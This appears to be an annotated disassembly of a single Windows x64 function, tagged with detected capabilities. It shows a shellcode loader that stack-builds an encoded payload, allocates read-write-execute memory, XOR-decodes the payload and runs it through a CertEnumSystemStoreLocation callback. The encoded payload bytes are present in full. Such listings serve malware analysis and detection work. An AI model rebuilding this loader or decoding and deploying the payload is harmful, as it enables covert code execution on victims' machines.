Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov dword [rsp + 0x20], 0x40c13940
mov dword [rsp + 0x24], 0xf7d5e189
mov dword [rsp + 0x28], 0x8540f7f7
mov dword [rsp + 0x2c], 0xf7f7e70d
mov dword [rsp + 0x30], 0x84b340f7
mov dword [rsp + 0x34], 0xbf61f6ee
mov dword [rsp + 0x38], 0x4068b66b
mov dword [rsp + 0x3c], 0x402f5039
mov dword [rsp + 0x40], 0xf7f7f025
mov dword [rsp + 0x44], 0x78fceaf7
mov dword [rsp + 0x48], 0x4f8575a6
mov dword [rsp + 0x4c], 0x84687683
mov dword [rsp + 0x50], 0xfe30b7ee
mov dword [rsp + 0x54], 0xd239e43b
mov dword [rsp + 0x58], 0xdab3c7a6
mov dword [rsp + 0x5c], 0xe43a3d23
mov dword [rsp + 0x60], 0xa7337da6
mov dword [rsp + 0x64], 0xa43a3d23
mov dword [rsp + 0x68], 0xef137da6
mov dword [rsp + 0x6c], 0xcedfb923
mov dword [rsp + 0x70], 0x7650bba4
mov dword [rsp + 0x74], 0x28a88723
mov dword [rsp + 0x78], 0xbd1d97d2
mov dword [rsp + 0x7c], 0x45299647
mov dword [rbp - 0x80], 0xbe20fb27
mov dword [rbp - 0x7c], 0xd68554aa
mov dword [rbp - 0x78], 0x3429a7af
mov dword [rbp - 0x74], 0xc6e39639
mov dword [rbp - 0x70], 0x6f60bed2
mov dword [rbp - 0x6c], 0x84e036e0
mov dword [rbp - 0x68], 0x3a29f6ee
mov dword [rbp - 0x64], 0xcc0fc2ab
mov dword [rbp - 0x60], 0x343126ef
mov dword [rbp - 0x5c], 0xf2cae23
mov dword [rbp - 0x58], 0xbe28d6ae
mov dword [rbp - 0x54], 0xcc3e55bb
mov dword [rbp - 0x50], 0x34203f11
mov dword [rbp - 0x4c], 0x85203e5f
mov dword [rbp - 0x48], 0x7650bb38
mov dword [rbp - 0x44], 0x28a88723
mov dword [rbp - 0x40], 0xb2a837af
mov dword [rbp - 0x3c], 0xbca9b72a
mov dword [rbp - 0x38], 0xf390830e
mov dword [rbp - 0x34], 0x8c4cfa68
mov dword [rbp - 0x30], 0xcab0cfab
mov dword [rbp - 0x2c], 0xf2ceeb3
mov dword [rbp - 0x28], 0xbe28d2ae
mov dword [rbp - 0x24], 0xf29d0bb
mov dword [rbp - 0x20], 0x3425bee2
mov dword [rbp - 0x1c], 0x8521aa2b
mov dword [rbp - 0x18], 0xbbeab73e
mov dword [rbp - 0x14], 0x5469fee3
mov dword [rbp - 0x10], 0xe720aeaf
mov dword [rbp - 0xc], 0xc532ef35
mov dword [rbp - 8], 0xfe38b7b6
mov dword [rbp - 4], 0x68ebfe31
mov dword [rbp], 0x4033b7ce
mov dword [rbp + 4], 0xdd29ee8b
mov dword [rbp + 8], 0xadeabeb4
mov dword [rbp + 0xc], 0x7b97e182
mov dword [rbp + 0x10], 0x529ab11
mov dword [rbp + 0x14], 0x8468b66a
mov dword [rbp + 0x18], 0xbf61f6ee
mov dword [rbp + 0x1c], 0x85e53b23
mov dword [rbp + 0x20], 0xfe61f6ef
mov dword [rbp + 0x24], 0xebe387d1
mov dword [rbp + 0x28], 0x4b40969
mov dword [rbp + 0x2c], 0x8e42ab8b
mov dword [rbp + 0x30], 0x2ac74caf
mov dword [rbp + 0x34], 0x51972bd6
mov dword [rbp + 0x38], 0x97a575a6
mov dword [rbp + 0x3c], 0x8e14b057
mov dword [rbp + 0x40], 0xca810d6e
mov dword [rbp + 0x44], 0x972f0d6e
mov dword [rbp + 0x48], 0xbf0b999c
mov dword [rbp + 0x4c], 0x5ee1f732
mov dword [rbp + 0x50], 0xd00f2311
mov dword [rbp + 0x54], 0xe518d31f
mov dword [rbp + 0x58], 0xc704d88a
mov word [rbp + 0x5c], 0xb60e
mov byte [rbp + 0x5e], 0x68
xor ecx, ecx
mov edx, 0x13f
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000128f
lea eax, [r8 - 1]
jmp 0x1400013cd
mov rdx, r8
lea rax, [rsp + 0x20]
mov ecx, 2
nop dword [rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x1400012a0
movups xmm0, xmmword [rax]
mov rcx, qword [rax + 0x30]
movups xmm1, xmmword [rax + 0x10]
movdqa xmm2, xmmword [str._b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rcx
mov ecx, dword [rax + 0x38]
mov dword [rdx + 0x38], ecx
movzx ecx, word [rax + 0x3c]
mov word [rdx + 0x3c], cx
movzx ecx, byte [rax + 0x3e]
lea rax, [r8 + 0x20]
mov byte [rdx + 0x3e], cl
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add edx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
cmp edx, 0x100
jb 0x140001340
cmp edx, 0x13f
jae 0x1400013c1
movsxd rcx, edx
add rcx, r8
nop word [rax + rax]
xor byte [rcx], 8
lea rcx, [rcx + 1]
inc edx
cmp edx, 0x13f
jb 0x1400013b0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStoreLocation]
xor eax, eax
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140001400
add rsp, 0x170
pop rbp
ret